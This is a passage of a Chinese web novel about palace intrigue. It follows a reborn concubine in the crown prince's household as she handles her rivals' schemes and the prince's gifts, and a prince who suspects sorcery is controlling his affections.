之前她每次经过这条路,这些人对她看似礼数周到,实则眼神里还是会时不时流露出几分鄙夷和不屑。
像是笃定了她的作用就是贡献肚皮,太子去她屋里也纯粹是为了子嗣。
一个工具,不配得到他们真心的敬重。
然而今日。
槛儿不但没在明面上看到这些人对她的轻蔑不齿,反倒从他们眼里和行举中看出了几分忐忑和畏惧。
怕什么呢?
怕她这个奴才出身的,一朝得宠便要狗仗人势把曾经对她不敬的都清算了?
槛儿笑着摇摇头,进了嘉荣堂。
秦昭训向来来得早,今日也不例外,槛儿到时对方已经坐在位置上了。
倒是曹良媛。
平日里请安总是拖拉到最后一个来,今日这时候却已经换了一盏茶了。
但到底相处了这么些日子。
槛儿又不是头回侍寝,曹良媛自然没再像早先那样,又是道喜又是套话的。
直到郑明芷出来,她们向其请过安。
曹良媛忽然开口:
“太子妃大度,好好的侍寝日子说让就让,宋妹妹还不谢谢太子妃?”
第53章 不能让宋槛儿继续得宠!
此言一出,屋中静得诡异。
郑明芷和槛儿还没有所反应,霜云、霜月、庞嬷嬷以及一旁站着的几个宫人便先暗瞪了曹良媛好几眼。
看槛儿的眼神更是怨怼。
曹良媛只当没看见,仍旧笑眯眯的。
槛儿看看她,垂眸不语。
曹良媛便又笑了。
“妹妹这就不对了,太子妃将侍寝的日子让给你,你怎生连句谢都没有?”
她这就是要让槛儿下不来台。
槛儿若谢了。
那便是往郑明芷心口捅刀子,若不谢,那就是没把郑明芷放在眼里。
总归谢与不谢,槛儿都讨不了好。
郑明芷憋了一晚上的火。
偏偏碍于之前和太子的那场争执,她一时半会儿根本不能拿槛儿怎么样。
可不能归不能。
这口气她终归还是咽不下去。
也因此,哪怕曹良媛把她也算计进去了,郑明芷也没有对曹良媛发作。
她倒要看这贱婢要如何应对,她如果自己撞上来,那也就怨不得她了!
槛儿没往郑明芷那边看。
但听对方没有在曹良媛之后马上出声,她就知道郑氏在打什么主意了。
暗嗤了声,槛儿窘迫般道:“我、我不知道,殿下昨晚来的时候我睡着了……”
谢是不能谢的。
但不谢又不能直言,那就说实话!
横竖太子去谁屋里又不是谁让谁不让就能决定的,而是太子自己的意愿。
曹良媛想刁难槛儿,挑拨她和郑明芷,没曾想竟听了一耳朵这样的回答。
她脸上的笑顿时没绷住。
什么叫殿下到的时候她睡着了??
难不成姓宋的都睡了,太子还叫她起来侍了寝,然后在永煦院待了一晚?!
曹良媛嘴角抽抽:“妹妹当真得殿下喜欢得紧呢,睡了还能被叫起来侍寝。”
槛儿尴尬般扯扯唇角,没接话。
郑明芷好戏没看到,反倒又窝了一肚的火,座椅扶手好险没被她给掰断。
也不耐烦再听下去。
她厉声对曹良媛道:“行了,越发没规矩了,殿下的喜好岂是能编排的?再有下次你也不用来请安了!”
意思是跟金承徽一样,禁足学规矩。
曹良媛差点被口水呛到。
郑明芷却是没管她,看向槛儿。
“殿下愿意去你屋里,你便当得好生伺候,不可怠慢,往后万不可再出现殿下驾临你却已安置的情况。
殿下千金之躯,白日里累于正事,夜间免不得需得你们伺候松乏筋骨。
你们自当安分伺候,切不可使那起子不入流的手段勾得殿下坏了身子。
若是让我知晓你们中间有谁,将那等腌臜的手段用到了殿下身上……”
砰!
她把茶盏笃到案几上,扫视槛儿三人的目光凌厉慑人,意思不言而喻。
听着是说给曹良媛她们三个人的,然而实则最近侍寝的人只有槛儿。
摆明了是在暗指太子之所以次次对槛儿破例,其实是槛儿勾引的结果。
这罪名可太重了。
上辈子槛儿也被郑明芷这么当众告诫过,当时她吓得面色惨白,魂不守舍。
生怕被定上“失德”、“祸乱宫闱”的罪名,为此不惜把送上门的宠往外推。
所幸太子没有降罪于她,隔日还是来了,郑氏之后也没再说过这样的话。
此时再听郑氏这番话,槛儿权当没明白她的话外音,面不改色地应了。
郑明芷看着她这样就来气。
索性眼不见为净,摆摆手让她们散了。
.
“主子,难道咱们就这样什么也不做吗?”
进了沁芳居院门。
抚琴再也忍不住,气急败坏地跺脚道。
曹良媛瞥她一眼。
慢条斯理问:“你又听说了什么?”
提起这个抚琴就是气!
就因为那姓宋的屡屡侍寝,又三番两次让太子破例,底下那群奴才明面上不敢谈论,私下里暗话却不少。
说什么的都有。
总归意思是她们家主子比不得那姓宋的,再这样下去怕是得退居一隅了!
简直岂有此理!
“一群端起碗吃肉放下碗骂娘的东西!当初收咱们好处的时候可没少巴结奉承。
如今我们主子还没咋呢,就做起这落井下石的勾当来了,也不怕烂了舌头!”
弄墨:“哪儿的人都这样,你管天管地还能管得了他们拉屎放屁?”
“我为我们主子不平!这才哪到哪就踩起我们主子来了,也不怕崴了脚!”
进了屋。
卸下满头珠翠,换了身轻薄舒适的裙衫,曹良媛问抚琴:“半个多月前让你安排人查的事查得如何了?”
“回禀的人说她在嘉荣堂当差没有同她交好的人,好像是庞嬷嬷不喜她,所以后院的人全都孤立她了。”
“倒是个可怜的。”
抚琴:“可怜什么啊!真可怜就到不了殿下跟前,瞧她那副狐媚子做派!”
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曹良媛哂笑。
刀没扎到自己身上,不知痛。
生得那般容貌,还是个无依无靠的,想也知道进宫前后的日子好过不到哪去。
再是坚韧又如何。
左不过一个十五六岁的小姑娘。
做了低等奴才,早没了为人的尊严,年纪轻轻还要替别人生孩子。
换做她。
日子过成这样,她宁愿一头撞死。
“主子。”
抚琴半蹲在榻前,声音压得极低。
“照殿下往她那儿去的次数,怕是要不了多久就该有好消息了,咱们……”
曹良媛目光一冷。
“你要想你主子过了今日还有明日,最好就把你的那些念头给我打消了!”
郑氏既然能让姓宋的替她生孩子,就说明这事不仅是太子同意了的,还在元隆帝和裴皇后那儿过了明路。
东宫的第一个子嗣,太子怎么可能不重视,裴皇后又怎么可能不重视?
她得是有多大的本事。
才能神不知鬼不觉地暗害了姓宋的肚皮,且事后一定不被查出来??
抚琴被训了也没觉得委屈。
一心替自家主子谋划:“那咱们总不能就这么眼睁睁看着她得宠吧?”
她是真心替自家主子不平。
他们家老爷可是刑部侍郎,三品大员。
日后是要进内阁的。
这可比太子妃那个有名无实的娘家顺国公府,不知好到哪儿去了。
太子想坐稳储君的位置。
就该把她们家主子往死里宠!再生四五个孩子把曹家笼络得死死的!
结果??
过去半年太子明面上是挺宠她家主子,该主子侍寝的日子基本都会来沁芳居。
可问题是,她们家主子没侍寝啊!
母凭子贵。
什么宠爱,男人。
都是虚的!
这宫里要想往上爬,子嗣才是最实在的!
然而太子不幸她们家主子。
孩子难不成要从石头缝里蹦出来??
“嘉荣堂后院里,有十六七岁的小太监吧?”曹良媛靠在榻上,轻声问。
抚琴愣了愣。
“有,不过都是些粗使打杂的。”
曹良媛涂着蔻丹的指尖在扶手上轻轻敲击,过了会儿,她轻声低喃。
“再是没了根,骨子里也是男人。”
“不着急,等她怀了……”
孩子得要宋槛儿生。
但宠,不能让她继续得。
若不然照这样的势头,哪还有她的份。
第54章 又赏赏赏!太子爷的别扭(?)
槛儿上辈子能在庆昭帝的后宫里活到最后,关键就在于她沉得住气。
深知以不变应万变的道理。
重活到这个节骨眼儿。
要人脉没人脉,要根基没根基。
槛儿更打算要把自己的这一后宫生存原则贯彻到底,所以请安回来用完早膳,她就把小福子叫到了书房。
“听喜雨说,你这些天已经把后院的情况摸清了,连花房孙公公出的虚恭是什么味儿都让你知道了?”
小福子:“……”
小福子憋红了脸,暗骂喜雨死丫头,为讨主子欢心竟就这么把他卖了。
“主子恕罪。”
小福子忙不迭解释。
“奴才没瞎打听,奴才就是觉得自己初来乍到啥也不清楚,怕日后坏了主子的事儿,所以想多知道些。”
“主子明鉴,奴才真没别的意思!”
说着,要磕头以示清白。
被槛儿制止了,“不必,我知道。”
小福子满打满算才十七,又生得清秀,乍一眼很难让人相信他的办事能力。
但实际他圆滑着呢。
上至成精的老太监,下到刚进宫的稚龄小宫人,就没有他说不到一起的。
上辈子,小福子可帮了她不少忙。
“有件事要你办。”槛儿道。
小福子见昭训真没怪他的意思,暗暗松了口气:“主子尽管吩咐。”
槛儿:“我要你留意沁芳居和香叶轩的动静,同这两个地方有干联的人不少,你挑出几个人着重打听打听。
但要记住一点,消息能不能打探出来不是首要,要紧的是别暴露自己。”
“也不用急于一时,一步步慢慢来。”
以槛儿对曹良媛的了解。
这人最擅长提前谋事。
如今她承宠的时间不长,曹良媛没有足够的理由动手,也怕动作太快。
反倒偷鸡不成蚀把米。
但以曹良媛的性情,差不多也该谋划了。
曹良媛看得清局势,不会打皇嗣的主意,多半会等她怀了把胎坐稳再动手。
而和她结怨的金承徽很大可能会被当枪使,这是曹良媛惯常用的手段。
当然,若此番只是她多心了固然好。
若不是……
槛儿顿了顿,对小福子补充道:“另外,嘉荣堂的后院有一个人你替我……”
小福子听得心怦怦直跳,完了疯狂点头:“主子放心,奴才一定万事当心!”
槛儿拍拍他的肩。
他们这头刚说完事,那头小喜子在外间兴冲冲禀报,说袁宝公公来送赏了。
槛儿绕过书案迎出去。
心里暗道昨晚不是都谈好有关赏的事了吗,怎么这会儿又来赏了?
出乎她的意料。
太子这回的赏不是布料首饰什么的。
而是适合各个阶段临摹的碑帖,还有用于小儿启蒙的三百千千和《增广贤文》这类书籍,外加整套文房四宝。
笔是湖笔,大小十二只。
墨乃春贡的瑞墨、珍珠油烟墨以及松烟墨,纸也是适合不同阶段学习的。
譬如毛边纸、元书纸、半生不熟的宣纸。
都是各五刀。
砚则是歙砚,巴掌大小的那种。
左侧的墨池占了一成大小,右侧是苍山云海雕刻图,靠近山崖的劲松旁还有一位骑马的小将军和一首诗。
想来是造办处当年给小太子预备的,那精心雕刻的每一笔都栩栩如生。
袁宝让人直接把这些东西给放进了屋里,完了不忘转述太子爷的话。
“殿下有言,读书之法在循序而渐进,昭训学习之初不必急于求成,这些个碑帖您每日临摹十页即可。”
槛儿是真的意外。
前晚他说会让人给她送碑帖和启蒙的书来,她其实没太把这话放在心上。
毕竟太子成日里要忙着打消元隆帝的疑虑,忙着和其他几个王爷斗法,还要忙着近期入朝,以及和朝政有着千丝万缕关系的很多事。
宫里宫外一堆事等着他。
他能来后院已经是忙里偷闲了,怎么可能真记得一个侍妾读书写字的事。
谁知他不仅记得,还考虑得这么周全。
“昭训先别急着谢,还有呢。”
袁宝见宋昭训要朝元淳宫的方向拜谢,笑眯眯打断道,接着掀起身后小太监端着的托盘上的红绸。
唰。
金灿灿的十个小元宝,整整齐齐摆在黑漆雕花的托盘里,别提多喜人了!
袁宝贴心解释道:
“这便是殿下射柳赢来的彩头五十两黄金,上边儿都没打御赐的印,殿下可赏,昭训收了也不算违制。”
一两黄金即十两银子。
五十两黄金就是五百两银子,还是太子赢来的彩头,意义就更不凡了!
跳珠和小福子几人眼睛都直冒光。
槛儿上辈子位极中宫。
稀世珍宝见过不少,自然不至于为十个小金元宝就大惊小怪,可谁会嫌弃钱呢?
别说她现下本就捉襟见肘,就是她有钱,也不可能嫌弃五十两黄金啊。
槛儿心情好。
朝元淳宫方向尤为真诚地谢了恩,瑛姑姑则给袁宝塞了个鼓鼓囊囊的荷包。
等袁宝走了。
槛儿也给瑛姑姑他们都给了赏。
等把东西都归置好,槛儿来到书案后坐下,摸了摸砚台,又侧身随手从书架上取来一本《三字经》。
书是太子用过的。
上面还有多处字迹稚嫩的音律批注和释意,从页边泛起的毛边不难看出,当初太子在学习时有多用心。
槛儿翻看着。
脑海里勾勒出小太子身板端正地坐在书案前,全神贯注地学习的画面。
瑛姑姑立在一旁。
瞅着终于不再空空如也的书架和书案上的笔墨纸砚,既唏嘘又担心。
说句不好听的。
奴婢出身的妾是什么?
那就是男人用来暖床的玩意儿,是可以随意遣散或是转赠的一件物什。
有多少男人真正在意后院女人的学识?又有多少男人会把小妾学习这种事放在心上,甚至还为她规划的?
学的多了就懂的多。
懂的多了就容易滋生各种各样的念头。
这有的男人啊。
他们就恨不得自己后院里的女人一辈子吃住都在榻上,管她们想做什么不想做什么,管她们有没有学识。
只要在榻上伺候好爷们就行了。
偏他们的这位太子爷。
太子待自家主子好,瑛姑姑当然乐见其成。
但说
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到底男人的宠爱就如同那天边的云,看得见摸不着,风一吹就散了。
瑛姑姑怕自家主子陷进去。
怕她和历朝历代,许许多多的后宫女子一样,在男人的宠爱中失了心。
然后等他不再宠爱她了,她日复一日年复一年地翘首以盼,望穿秋水。
瑛姑姑不想槛儿变成那样。
想问她现在是不是有几分喜欢太子。
可话到嘴边,又被她咽了下去。
瑛姑姑担心槛儿没开窍,经她一问反倒开了这一窍,那就当真不妙了。
“主子可要现在学?”瑛姑姑把这些杂七杂八的念头抛到脑后,笑着问。
没想到自己有朝一日,要装稚童启蒙。
槛儿忍着捂脸的冲动。
不过,说来惭愧。
上辈子她刚开始的学习都是东一榔头西一杠子的,还真没正儿八经启过蒙。
像是现在要她背《三百千千》,她都不定能一字不差地完全背下来。
反正没什么事,槛儿当即拍板。
“学,这会儿就学!”
.
太子还有一日的假。
槛儿跟瑛姑姑启蒙时,太子刚见完属官从仁安殿回了元淳宫,打算看他从六部衙署带回来的卷宗案牍。
但就在他绕过书案来到座椅前,习惯性目不斜视地打算坐下的时候。
余光忽然注意到一抹蓝。
垂目一看。
却是不知何时,下面的人将小昭训送的那张垫子给拿来铺到了椅子上。
垫子尺寸不合适,不够铺满椅面。
但够他坐。
垫面上的榴花山石图巧夺天工,两只山雀活灵活现,那只衔着花的格外生动。
骆峋的唇角扬了一下。
又很快抿起。
脑海里不受控制地浮现出红脸胖雀被他坐在下面,碾压憋闷的画面。
骆峋:“……”
半晌。
见自家殿下直挺挺地立在书案前一动不动。
人精海顺:“……”
海顺假装没看出太子殿下的踌躇,嘿嘿咧着嘴指了指椅子上的坐垫。
“宋昭训的手艺也太好了,换做奴才哪舍得拿这么好看的绣面来坐啊。”
骆峋面色一绷。
海顺浑当不觉。
“但宋昭训对殿下的一片心意,如果不用,怕是糟蹋昭训主儿的这份心了。
要不这样吧殿下,奴才让绣娘缝个套子套外边儿,这样往后换洗也方便。
也省得底下的人做起事来粗手粗脚,没个轻重,平白糟践了这好东西。”
太子爷神情淡然地审视了海总管片刻。
“嗯。”
立马上来一个小太监双手拿起坐垫,恭敬地退下后马不停蹄往绣房去了。
太子爷终于落座,翻看起卷宗。
海顺:“……”
绣房的动作快,过了晌午便把套了一层外皮的坐垫给送过来了,太子垫着垫子专注地看了一下午卷宗。
傍晚时分。
“殿下,宣王爷来了。”袁宝在门口禀道。
骆峋拭手的动作微顿。
想起郑氏昨晚不曾提及,但他的人却向他报过的,瑜姐儿当众称小昭训比宣王府的那位侧妃好看的事。
骆峋将巾子扔进盆中。
“请进来。”
第55章 太子对槛儿的怀疑,“厌胜魇镇之术?”
宣王乃已故程嫔所出。
程嫔出身小户平民之家,是元隆帝还在潜邸时南下办差时带回来的。
程嫔的美貌自不必提。
但她生性迂腐,动辄怨天尤人,加上没什么见识,和元隆帝话不投机。
于是,过了最初的一段时日。
元隆帝除了偶尔为了还是七皇子的宣王去她宫里坐坐外,便没再宠幸过她。
为此,程嫔时而自怨自艾,时而怨天怨地,顾影自怜起来常常对当时年仅一岁多的七皇子不管不顾。
且偶尔会将怨撒到七皇子身上。
元隆帝得知此事后震怒。
当即降了程嫔的位份。
七皇子则被养到了另一个嫔名下,而在那不久程嫔便因久郁而病逝了。
抱养七皇子的蓉嫔生性柔顺,同裴皇后的关系亲近,七皇子便常常和当时还是六皇子的太子玩到一处。
两人年岁相差不大。
七皇子又是个爱缠人的,打小爱追在太子后面,六哥哥长六哥哥短的。
太子拿他无方,只能默许他跟。
宣王没有母族支撑。
本身除了武艺外其他才干皆只能算平庸,元隆帝倒也没管他和太子走得近。
“六哥。”
宣王被袁宝引进来。
见自家六哥在次间临窗的罗汉床上下棋,他也坐了过去,执起白子挡路。
骆峋轻易破局。
“下值不回自己的王府,来此作甚?”
宣王成婚后的第二个月,元隆帝让他到五军营后军任了个从七品的都事。
这个职位是都督府内的文职佐官,没有统兵权,不参与实际的作战指挥。
平时主要负责一些军事公文,譬如奏疏,军令和名册的誊录保管,以及军籍档案,军功记录等文书的管理。
“咱俩也有些时日不曾单独聚一聚了,”宣王重新落子,聊家常般道。
骆峋看看那枚棋子落的地方,又瞥了眼看似悠然自得的宣王,了然于胸。
接下来的时间里。
两人真就像是许久没聚的寻常人家兄弟那样,边下棋边聊起了家常。
说是聊,其实大多时间都是宣王在说。
太子偶尔回应。
两人自小到大的相处模式都如此,宣王知道六哥在听,也没觉得败兴。
反倒越说越起劲。
说他们值房最近的新鲜事。
说他前些日子誊写卷册时发现的奇闻轶事,说他核查军籍军功时,了解到某个将领或者士兵的家里如何如何。
又说他去给兵部和其他军营卫所送文书的路上,围观了谁谁斗嘴,谁谁切磋。
东拉西扯的。
乍一听好比一个在外当差的人下值回家后,将当差遇上的一些无关紧要的事同家里人随口絮叨一番。
等他说完,一盘棋也下完了。
宣王一如既往的惨败。
骆峋看着棋局,指尖在小几上无意识轻扣。
宣王端起手边的茶一顿牛饮,饮完,见六哥的视线从棋盘上收了起来。
他端着茶盏的手顿了顿。
欲言又止。
骆峋眼皮子都没撩他一下。
声音淡淡的:“若你要说的,是昨晚家宴瑜姐儿借宋昭训打压你的那位侧妃,孤倒想听听你打算说些什么。”
宣王一噎。
笑得尴尬至极,“六哥你都知道了啊……”
骆峋冷哼,起身走到书案前。
宣王摸摸鼻子站起来,跟过去。
“好吧,我此番前来除了有意同六哥叙叙,也是有意来替瑜姐儿向你和你的那位新昭训道声对不住。
小丫头被我和疏嫣惯坏了,又素来鬼机灵,冒犯了宋昭训委实不该,我教训过她了,还请六哥勿要怪罪。”
疏嫣即宣王妃的闺名,柳疏嫣。
其实昨晚那种情况。
如果小丫头只是纯粹觉得槛儿比姜侧妃好看,倒也犯不着宣王如此较真。
问题就在于。
每回参加皇家家宴的基本都是那些人,各个王府里妻妾争宠的那点儿事免不得被其他府上的女眷知晓。
昨晚那般的场合。
小丫头看似一句童言,实则明眼人一看便知瑜姐儿此举是在借东宫的昭训贬低姜侧妃,替宣王妃出气。
关系到东宫。
宣王自是没脸装不知情。
“你打她了?”骆峋皱眉。
宣王咳了咳:“没有,就训了几句。”
虽然小丫头不喜欢他这个爹爹了,但是他和疏嫣的闺女,他哪舍得打。
“你倒是个慈父。”
骆峋的声音毫无波澜,但宣王就是莫名从中听出了几分嘲讽的意味。
他更不自在了。
随即想起什么,宣王从袖中掏出一个小匣子。
讨好般道:“这是瑜姐儿给宋昭训的赔礼,疏嫣病了,不好劳她交于六嫂,还劳烦六哥代为转交。”
骆峋眼神扫了一下。
宣王自觉把小匣子放到书案上。
骆峋便不再打算多言,只道:“东西孤会转交,时辰不早了,你且回府吧。”
宣王垂着眼没应声。
骆峋抬目看他。
这时,宣王忽然抬起眼。
“六哥,我好像不对劲。”
“嗯?”
“我心悦疏嫣,这一点我很确定。”
宣王双手撑着书案,严肃认真的神情中夹杂着一丝迫切的焦躁恐慌。
“但从一年半前起,也就是从姜氏病愈那时起,我好像便开始不对劲了。”
这种不对劲宣王老早就有所察觉,皆因他万分确定自己并不喜姜氏。
姜氏为翰林院学士姜远庭之女,自来骄纵成性,张扬跋扈且轻薄无行。
从前不止一次在进宫赴宴时寻机拦住他的去路,想方设法对他百般纠缠。
无论他如何明确拒绝。
对方都仿佛听不懂人言似的。
这也就罢。
关键姜氏身为女子,却不知羞耻,罔顾名声,罔顾整个姜府姑娘的声誉。
不但对外宣扬对他的倾慕之意,还曾当众扬言势必要成为她的皇子妃。
如此寡廉鲜耻之人。
别说宣王当时已经与青梅竹马的宣王妃互通情意,便是他无心悦之人。
也断然不会对姜氏有意!
然而宣王日防夜防,还是因不忍眼睁睁看姜氏殒命而被对方算计了一场。
让那姜氏先于宣王妃进门。
成了他的侧妃!
此前每每忆起这些。
宣王就恨不得即刻打杀了姜氏!
如此一个令他厌恶的人。
他怎可能仅仅因为对方改了性子,不上赶着来讨好他,便暗觉失落呢?
怎可能因为对方卸了妆,露出原本面貌,就觉得她国色天香,惊为天人?
又怎可能因为她的种种改变,便对其心动,甚至屡屡涉足她的院子?
宣王自诩不是这样的人。
若不然,他也不会生出这种种念头。
但令宣王匪夷所思的是。
这些念头每回都在他心头转瞬即逝。
不管他生出这些念头时头脑有多清醒,下一刻,他都会想不起来这些。
反倒是每回见到姜氏。
他都会为
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对方楚楚娇媚的容貌所惑,为她洒脱娇俏的性情而心生欢喜。
而他越是喜姜氏。
便越觉得疏嫣的敏感病弱是无病呻吟,越觉她的伶牙俐齿是尖酸刻薄。
然后突然某个时刻。
他又宛如大梦初醒也似,记起对疏嫣种种的爱怜,对姜氏的种种的厌恶。
过去的这一年多里。
宣王一直都在这两种矛盾的心态间拉扯。
听宣王说完。
骆峋目光冷冽:“你的意思是,或有人暗中对你行厌胜、魇镇之术?”
宣王抹一把脸:“我不知道,之前每次清醒的时间都极短,我来不及着人调查。”
骆峋微眯起眼。
“既如此,为何此番能说与我?”
宣王摇头:“昨晚训诫瑜姐儿时好似清醒过一回,但不过一息间便忘了。
刚刚六哥你同我说完话,我忽然感觉脑中似灵光一闪,直到现在都十分清醒,我也不知道这是什么缘由。”
说着,他更加急切不安起来。
“六哥,真有能操控人言行的术法吗?我会不会……”
巫蛊、厌胜、魇镇、盟诅等术法,宣王自是知晓的,却也仅仅是知晓。
因为本朝皇室至今没发生过此类事件,宣王知道的都是源自于史**载。
所以他知晓,却无实感。
当下好不容易清醒这么长时间,宣王不禁怀疑自己是不是中了这类术法。
心里忍不住焦急惊惶。
“稍安勿躁。”
骆峋绕过书案。
想当初连着好几晚梦到和小昭训那般时,他也曾对还是小宫女她起过疑。
毕竟在做那些梦之前,他只在郑氏将她推举到他面前的那天见过她。
当时他都没怎么细看她。
且他长这么大。
除了十二岁刚懂事那会儿有迷迷糊糊梦到过一些画面,这些年就再没有过这种经历,加上他有病在身。
这种情况下突然连着几晚做同一个这样的梦,骆峋当然会觉得奇怪。
怀疑是睿王从中捣鬼,或是郑氏为了让他多临幸小宫女几回使的手段。
为此,他让人叫了莫院判和钦天监的人来,将元淳宫里里外外都排查了一遍。
确定没有可疑迹象,且平时的入口之物和随身之物也不存在任何问题。
骆峋才决定临幸她的。
尽管至今还是不明当初为何会做那样的梦,但大抵因着这半月以来没再梦到过,他也没觉得有何不适。
骆峋便暂时将此事搁下了。
此时听宣王遇上了和自己类似的事。
骆峋倒能理解一二。
不过,他并没有因为宣王这会儿说的事就再度将怀疑转移到槛儿身上。
毕竟,当初他是确定了槛儿没问题的。
来到宣王跟前。
骆峋道:“不论此类术法是真是假,这事除了我,你勿要再与旁人提及。”
“这个我知道,除了六哥我不可能再让别人知道,而且如果真是那等术法,那这事多半与姜氏脱不了干系。
姜氏乃我侧妃,又与我有一双儿女,我便再是不喜她,也不能让她连累宣王府。”
骆峋颔首,旋身在案上铺开一张纸:“接下来的事我会安排,你无需忧虑。”
说罢,刚准备提笔。
他迅速察觉到身后异样的安静。
一个念头升起。
骆峋回过头。
果然见宣王的俊脸上一片茫然之色:“六哥,你要安排什么?我有什么要忧虑的?可是需得我做什么?”
“……”
第56章 太子身患痔疾?!
盼着能早日自己看书。
槛儿今儿一整天可谓做足了聪颖勤奋的派头,招了跳珠他们好一通夸。
当然,她也有分寸。
为避免太子起疑,倒也没有装过头。
晚膳在外间摆好,望晴进来请槛儿用膳。
槛儿假模假样地拿起刚描好的碑帖细细端详了一阵,方才移步到堂间。
她这边刚擦干手坐到膳桌前,外头小福子就奔到门口说殿下来了。
大抵是截止目前为止太子爷已经对她破了好几回例,以至于槛儿都没去想太子怎么这时候有空过来。
说起来也是好笑。
重活回来到现在寝都侍好几回了,槛儿今日才算是正经迎了太子一回。
先前的几回他来她这儿。
她要么是从卧房出来,要么人已经在榻上了。
“殿下。”
正值傍晚,天际余晖遍布。
太子身形挺拔器宇轩昂,一身月白金银线绣团龙的锦袍外罩一件轻薄纱衣,端的是雍容俊逸,风度斐然。
槛儿上前行礼。
骆峋头一回在日间见她迎他。
见她花瓣般娇艳粉白的脸,一双波光潋滟的眸子,似倒映着皓月的泉。
他脚下微顿,叫了起。
槛儿习惯性走到他身侧亲近地挨着他往里行,“殿下可是用过膳了?”
走个路都要挨他如此近。
骆峋的目光落在二人交叠的衣摆上,莫名觉得她此时不像是演的。
黏他黏得太自然。
“宋昭训,殿下还没用呢。”
察觉到自家殿下的心思不在这处上,海顺很有眼力见儿地笑着答道。
说着话,人也进了屋。
接着数个小太监提着食盒训练有素地跟进来,走到桌前摆起了膳。
膳桌上的菜槛儿都还没动。
小太监们很有眼色,没把她的菜撤下去,而是连同太子的膳摆在了一起。
夏季饭菜不容易凉。
给太子提膳的食盒又是造办处特制的,不仅可持续六个时辰保温,还可保其色香味浓得仿若新鲜出炉。
于是眨眼的功夫。
厅堂里弥漫开一股浓郁的鲜香之气,惹得跳珠他们暗暗咽了好几口唾沫。
槛儿**以为常,请太子移步至桌前。
“妾身为殿下侍膳。”
骆峋还记得东宫家宴,她在席间兀自吃得欢快,之后又道他的膳味道好。
“不必。”
他扫眼左侧位置,示意她坐。
海顺示意元淳宫的人上前给太子爷侍膳,槛儿这边则由瑛姑姑服侍。
上辈子槛儿和太子用膳,规矩也大。
因此这会儿槛儿适应良好。
太子随意朝那道白果煨玉兰花瞥一眼,侍膳宫人立马动作熟稔轻巧地往其面前的小碟里夹了一筷子。
太子的吃相自然是优雅至极的。
薄唇微抿,颌骨轻动,脆香鲜嫩之物经他咀嚼却是听不到丁点儿声响。
也不知他是怎么嚼的。
起初槛儿顾及二人此时亲近不足,不好放开了吃,多多少少还是装了装。
但没多会儿。
见太子没管她,槛儿渐渐就放松下来。
骆峋注意到她放开了,一小口一小口用得格外认真细致,脸都红扑扑的。
他也有了点儿兴致。
见她在用蜜酒蒸鲥鱼,鱼肉经蜜酒香料腌制蒸熏,外表呈微酱色,薄薄的鱼皮裂开,露出蜜色多汁的嫩肉。
用完一口,让她那姑姑又夹了一筷子。
骆峋朝那道菜看过去。
机灵的侍膳宫人心领神会,赶忙替太子爷夹了一筷子裹着蜜色汁液,夹起来还颤颤巍巍的鲜嫩鱼肉。
骆峋执起银著尝了尝。
嗯。
一顿膳用得鸦雀无声。
向来每道菜只用两口的太子,今日竟每道菜比平时多用了好几口,还多食了一碗粳米饭并一个蝴蝶卷子。
膳房总管姚大发收到小太监提回来的食盒和禀报时,笑得见牙不见眼。
他的干儿子沈旺往食盒里一望,“嚯”了一声:“咱爷今儿个胃口大开啊。”
“呵,你懂什么?”
姚大发叉了会儿腰,舍不得把食盒让小太监拿下去洗,自己这就洗上了。
沈旺在边上打下手。
“瞧您说的,小瞧了儿子不是?如今那位正当宠呢,殿下在那边用膳多食几口也算是给那位体面不是?这点儿道理儿子还是懂的。”
姚大发眼角一吊:“你懂个屁,出去了别说跟我有干系,我丢不起那人。”
这叫给体面吗?
前半年沁芳居那位够得宠吧?
殿下往沁芳居的次数相对来说够多吧,也一道用过两顿晚膳,结果怎么着?
还不是该什么样什么样?
所以还得是人的关系。
他姚大发虽没了根,但男人跟女人之间的那点儿事他还是门儿清的。
这位宋主子明显是合了他们爷的心意。
今晚这顿要么是这位主儿哄着爷多用了,要么是他们爷觉得人秀色可餐。
要么就是看对方用得可口,太子爷便跟着多食了几口,就这么几种可能。
嘿。
错不了!
管这位主儿今后能走到哪一步呢,左右人现在当宠,他们把人供着就对了。
.
时辰还早。
也不能刚用了膳就侍寝,多撑得慌,槛儿就提议去后面的小花园消食。
骆峋默许。
夜幕完全笼罩。
小花园里亭灯遍布,绘有各色花鸟山石的灯笼在亭台水榭中随风晃动,路边草丛中偶尔一两声虫鸣起伏。
又有弯月当空,星星点点。
这样静谧安然的时刻于骆峋来说,俨然是难得的偷得浮生半日闲。
他望着满天星斗,忍不住想明日的朝会,父皇已经决定不让他进内阁听政。
那便只有六部。
吏部管官员选拔、考核及任免,监督地方行政,掌握着朝中大多人的仕途。
父皇不可能让他去。
且近两年荣王在吏部。
户部管全国的赋税、财政收支,父皇把睿王放进户部,起初只给了他一个虚职。
两年前睿王被调至清吏司,与山东清吏司郎中一同管山东界内相关事务。
信王这两年在礼部,慎王在兵部。
剩下的刑部掌司法刑狱,受大理寺和督察院的制约,相较于其他几部权力较为分散,处于被动位置。
工部……
骆峋兀自想得出神,直到拐了个弯,被一阵渐近的溪流声拉回了思绪。
他后知后觉有什么不对。
稍作反应发现,却是身旁的人似乎从进了园子便没出声,安静得出奇。
骆峋不由侧目。
槛儿今日穿了身珊瑚朱如意云山茶的撒花褙子,蝶鬓髻上戴了支银鎏金步摇。
月光揉碎在她纯净的眸底,犹如空山新雨后的一缕清风,恬淡幽静。
看着这样的她。
骆峋浮躁的心绪莫名平静了下来。
“殿下,可是要回去了?”
察觉到男人的视线,槛儿停下来问。
骆峋也驻足,答非所问:“为何不语?”
槛儿没想到他会问
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这么个问题,愣了一下,然后不好意思般侧了侧头。
“妾身平日里和瑛姑姑她们聊的都是女子间的话题,不好拿这些琐事来扰殿下的清净,就没敢贸然开口。”
其实是知道他在想正事,不想打扰罢了。
骆峋却信了,意外于她的实诚。
默了默,他负手重新迈步。
“回吧。”
回去后趁下面人备水的功夫,骆峋绕进书房。
书架上整齐罗列着他命人送来的启蒙书和碑帖,书案上放着几张大字。
太子爷随手拿起看了看。
然后像从前待幼小的弟弟妹妹那般,对宋昭训的字有夸有指正。
那严肃正经的模样,比真正的教书先生还威严慑人,槛儿觉得如果太子是先生,恐怕没有小孩敢不听他的。
聊字的功夫,水备好了。
骆峋搁下笔,准备移步去浴间。
这时,他注意到方才没坐的椅子上铺着的垫子,骆峋不禁想起一件事。
“端午,为何送坐垫给孤?”
太子爷真诚发问。
槛儿:“……”
都过了两天的事了,现在才问??
槛儿腹诽。
面上煞有其事的。
“先前殿下给了妾身那么多赏,妾身想着不能单受您恩赐,便也想聊表一二。
